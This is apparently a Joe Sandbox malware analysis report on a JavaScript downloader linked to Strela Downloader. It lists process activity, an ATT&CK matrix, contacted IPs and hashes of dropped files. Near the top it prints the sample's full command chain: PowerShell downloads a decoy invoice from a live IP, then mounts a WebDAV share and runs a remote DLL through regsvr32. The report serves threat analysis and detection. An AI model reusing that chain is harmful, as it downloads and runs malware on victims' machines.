Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16112188701857928577.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/scez	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1324637839.000002AF2EA90000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2557492868.000002AF2EC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/scez	net.exe, 0000000C.00000002.1317049201.00000254A2AF8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1317049201.00000254A2AF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1317049201.00000254A2B2A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1317049201.00000254A2B4B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588037
Start date and time:	2025-01-10 20:47:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16112188701857928577.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 2.23.242.162, 23.209.209.135, 2.22.50.144, 2.22.50.131, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.245.163.56, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 16112188701857928577.js

Simulations

Behavior and APIs

Time	Type	Description
14:48:07	API Interceptor	23x Sleep call for process: powershell.exe modified
14:48:11	API Interceptor	1x Sleep call for process: net.exe modified
14:48:12	API Interceptor	2x Sleep call for process: svchost.exe modified
14:48:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	143686862513618164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3253418218787826771.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1340465372044024725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1053816775239920795.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067052663491273
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq1:2JIB/wUKUKQncEmYRTwh0h
MD5:	DEBCDB19BE7595D1DA55704B14437671
SHA1:	1A3902522C3F983C3BF93CB8A36A24DA1C0CF0C4
SHA-256:	0CB3F375CB1F56337AA4FBCE51A9026D8453DAA43386ECFF0DECE3065A3D7EB5
SHA-512:	A3206780F28F83535978A4114D2F51F0AAD3A8E98AE0AF232C222C333F3ADC5A433764993332A336B56A6B3934EB8F30558A622D57E76CD0956EB88C6A965F85
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb7a83a7f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899717603979624
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	5224A97D86460476C95CF7CDED3FD465
SHA1:	601F94D5DC96839AE1BDBED21D6741501DA245E1
SHA-256:	AFF50DC2F30A62DF8A5D68F2B8F102B416C6FFB680C2FBA76BDB9A917F311C5F
SHA-512:	1280AE152B3F5914100CE7C244A64F9220B5D07F6974B6175837E5F4D756CA0A87650A27A1F01FAC2B3613E5832D04F62CF3815BA30A04C2B516557E4DB5645F
Malicious:	false
Preview:	..:.... ...............X\...;...{......................0.`.....42...{5..0...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................J.W..0...}E..................m...0...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08221887823611387
Encrypted:	false
SSDEEP:	3:RqKYeecvuvt/57Dek3JpRhtillEqW3l/TjzzQ/t:RqKzsFR3t7htGmd8/
MD5:	E2053D032BE309506727F9B9242E1F15
SHA1:	885E1B13845DFFB1B4D0C7355CA8B2C0FB2ED515
SHA-256:	FF36A71A5DCC2308CC82994541601BB7EA932EDCB1F9084B0ED5D1D6F6366C80
SHA-512:	C8AFC1E837BCBC0C1794F7877863D74C520349832BB514665AD9F9B69643A2DA3704542737F004BCDC5F50584D2139D984AD125E27814885B834A8535557EE84
Malicious:	false
Preview:	.K*......................................;...{...0...}..42...{5.........42...{5.42...{5...Y.42...{59.................m...0...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.2160363143109265
Encrypted:	false
SSDEEP:	6:iO4gUW+q2PcNwi2nKuAl9OmbnIFUtSg38Zmwsg8AeNVkwOcNwi2nKuAl9OmbjLJ:7UvLZHAahFUtJ8/kAez54ZHAaSJ
MD5:	C6E9CFC19E3A3F65ACE0692C37B29CCE
SHA1:	012C296DEDE8B336892F150BC297EDC2E985004F
SHA-256:	EE58064D1F4794E0905547A3F438D954A62BC2C181D6BD79B0DF4EB1F9AE4E81
SHA-512:	0C8EC987EB24CF26E0F422ECD1032D0E3A5055C822BF6703DA1EF40667692F1218ACF6CE6F7DDFFE614457EC7E7E4EB3AA8590FBB4746865EDADDDB77543DB80
Malicious:	false
Preview:	2025/01/10-14:48:11.952 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:48:11.955 1ec8 Recovering log #3.2025/01/10-14:48:11.964 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.2160363143109265
Encrypted:	false
SSDEEP:	6:iO4gUW+q2PcNwi2nKuAl9OmbnIFUtSg38Zmwsg8AeNVkwOcNwi2nKuAl9OmbjLJ:7UvLZHAahFUtJ8/kAez54ZHAaSJ
MD5:	C6E9CFC19E3A3F65ACE0692C37B29CCE
SHA1:	012C296DEDE8B336892F150BC297EDC2E985004F
SHA-256:	EE58064D1F4794E0905547A3F438D954A62BC2C181D6BD79B0DF4EB1F9AE4E81
SHA-512:	0C8EC987EB24CF26E0F422ECD1032D0E3A5055C822BF6703DA1EF40667692F1218ACF6CE6F7DDFFE614457EC7E7E4EB3AA8590FBB4746865EDADDDB77543DB80
Malicious:	false
Preview:	2025/01/10-14:48:11.952 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:48:11.955 1ec8 Recovering log #3.2025/01/10-14:48:11.964 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.193917065803057
Encrypted:	false
SSDEEP:	6:iO4gX8nq2PcNwi2nKuAl9Ombzo2jMGIFUtSgXM7ZmwsgXT7kwOcNwi2nKuAl9OmT:7b8nvLZHAa8uFUtlM7/fT754ZHAa8RJ
MD5:	9735B664B820C4B978FC8653D4751ED5
SHA1:	B39F93E9E043EF111BED233DEDEC1E70B85E8B0F
SHA-256:	96C963991F38DF161FCC8EB4B8F5A833217A1A76C9B81F40BB6C22436334095C
SHA-512:	B37FD2DD83EA6BC2CF4FDE9EA9FB02F034F7AAA98309221B24B96B3BAE2497FBD970A685B736A9CE63D00B336A46553C4BE0E5F7E4AEA220DC484A4A6661828C
Malicious:	false
Preview:	2025/01/10-14:48:12.084 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:48:12.085 1f70 Recovering log #3.2025/01/10-14:48:12.086 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.193917065803057
Encrypted:	false
SSDEEP:	6:iO4gX8nq2PcNwi2nKuAl9Ombzo2jMGIFUtSgXM7ZmwsgXT7kwOcNwi2nKuAl9OmT:7b8nvLZHAa8uFUtlM7/fT754ZHAa8RJ
MD5:	9735B664B820C4B978FC8653D4751ED5
SHA1:	B39F93E9E043EF111BED233DEDEC1E70B85E8B0F
SHA-256:	96C963991F38DF161FCC8EB4B8F5A833217A1A76C9B81F40BB6C22436334095C
SHA-512:	B37FD2DD83EA6BC2CF4FDE9EA9FB02F034F7AAA98309221B24B96B3BAE2497FBD970A685B736A9CE63D00B336A46553C4BE0E5F7E4AEA220DC484A4A6661828C
Malicious:	false
Preview:	2025/01/10-14:48:12.084 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:48:12.085 1f70 Recovering log #3.2025/01/10-14:48:12.086 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\52bc0e8e-f217-4626-b34f-5fb98340d2c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.971227955928122
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzdHVtsBdOg2HIeAcaq3QYiubSpDyP7E4TX:Y2sRdsjdMHIer3QYhbSpDa7n7
MD5:	66E7116850A35D78C1E08E169CBFA3D6
SHA1:	1A84FAE957E587CCC80A07608C6F2AEB27D7C62A
SHA-256:	20BCC297B3707FAFFC66CE4C3FF9A0597C215EEA5FC8A2E6997AA65DE7E40867
SHA-512:	8B80E69FF3AF00051D3AB679659E6B274CD3D3E2F3CC6B45FBD390F419FF70FA40333605281EB0267FFE7FC2148F309B130E2C54096C8C1D9A724DED4545BFD1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098503142205","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137971},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971227955928122
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzdHVtsBdOg2HIeAcaq3QYiubSpDyP7E4TX:Y2sRdsjdMHIer3QYhbSpDa7n7
MD5:	66E7116850A35D78C1E08E169CBFA3D6
SHA1:	1A84FAE957E587CCC80A07608C6F2AEB27D7C62A
SHA-256:	20BCC297B3707FAFFC66CE4C3FF9A0597C215EEA5FC8A2E6997AA65DE7E40867
SHA-512:	8B80E69FF3AF00051D3AB679659E6B274CD3D3E2F3CC6B45FBD390F419FF70FA40333605281EB0267FFE7FC2148F309B130E2C54096C8C1D9A724DED4545BFD1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098503142205","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137971},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.233816598605178
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPqiiqfF:CwNw1GHqPySfkcigoO3h28ytPqiiqfF
MD5:	998D35EFE36BE58E8069CA1E02C912E4
SHA1:	36AE7D7F073EFA0792A93FDBA000CA48A7F2965D
SHA-256:	9395C480D88E76EB488C10D8FE2D2F2E970407528FFB7587942CA576D777A45D
SHA-512:	AA5AFE4D448E2C9B34E6B14985F1C27A5064BA953A80979D831087FB4DB5BF46C9EE6992C9F597FBEC470D054D15DC08AF3B74ED277B804585557F5A25163B97
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.203365034226505
Encrypted:	false
SSDEEP:	6:iO4gXY1SAq2PcNwi2nKuAl9OmbzNMxIFUtSgXYJZmwsgXYOFkwOcNwi2nKuAl9Ob:7bYpvLZHAa8jFUtlYJ/fYOF54ZHAa84J
MD5:	5A6C0A7394405A93400CAE4FC89F7664
SHA1:	81C8203F5B1A1D2164434FC1D351E61C597B48D7
SHA-256:	BE699D3F7A049B8904EC2B9CB0040E45A9112D59321F1EDB516DABB1CB196FEA
SHA-512:	BC8DC3490B8EF096B80066F090F0A459F3CC1BAD45B216AA5802194C1780C2638805484596859E6C24ECFBE06B078A0E41E7885C908ED62EC11D7C884F4F51E4
Malicious:	false
Preview:	2025/01/10-14:48:12.185 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:48:12.186 1f70 Recovering log #3.2025/01/10-14:48:12.187 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.203365034226505
Encrypted:	false
SSDEEP:	6:iO4gXY1SAq2PcNwi2nKuAl9OmbzNMxIFUtSgXYJZmwsgXYOFkwOcNwi2nKuAl9Ob:7bYpvLZHAa8jFUtlYJ/fYOF54ZHAa84J
MD5:	5A6C0A7394405A93400CAE4FC89F7664
SHA1:	81C8203F5B1A1D2164434FC1D351E61C597B48D7
SHA-256:	BE699D3F7A049B8904EC2B9CB0040E45A9112D59321F1EDB516DABB1CB196FEA
SHA-512:	BC8DC3490B8EF096B80066F090F0A459F3CC1BAD45B216AA5802194C1780C2638805484596859E6C24ECFBE06B078A0E41E7885C908ED62EC11D7C884F4F51E4
Malicious:	false
Preview:	2025/01/10-14:48:12.185 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:48:12.186 1f70 Recovering log #3.2025/01/10-14:48:12.187 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438999057937123
Encrypted:	false
SSDEEP:	384:yeaci5GiiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1SurVgazUpUTTGt
MD5:	2F73EF5A01B2BAD33B2C191DA0EF2083
SHA1:	6B061A8CC774553AF5B1AAF28F7C8C70D2D254E0
SHA-256:	B060343810E4BF823EEFCAF8DD73805DFDC80B6FBBB562C6C3F25C798F8AB8FD
SHA-512:	546DF1F934BC642F899CD1428B1BDFED74FB9C92C0E1F8221BE368EAFE54286872F863A2A941A9219D6E939D87FEDFDAB9C72BE9C60F613B0B7389481BFC675D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7745790033543063
Encrypted:	false
SSDEEP:	48:7MXp/E2ioyV0ioy3DoWoy1CABoy1cKOioy1noy1AYoy1Wioy1hioybioyaoy1no/:7Upju00iAMXKQX9b9IVXEBodRBky
MD5:	0EA9D41829583C6F16E16901989111EF
SHA1:	D6AC598F54E3D6C74E0C58068C82699DC95647FB
SHA-256:	8AB6FD5F0ECB6A347D51532513DEB5597B582BCD0AA1314BBC621C7C959552A7
SHA-512:	B814D3437F3AD123FFC8F9CB0F38184B6A156B99E2264774FF50327EF8AC915AE33508F123E54F12C14FF9C281F36378EAD53059D9F34D4ABF12040613A31284
Malicious:	false
Preview:	.... .c.....R%.p...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
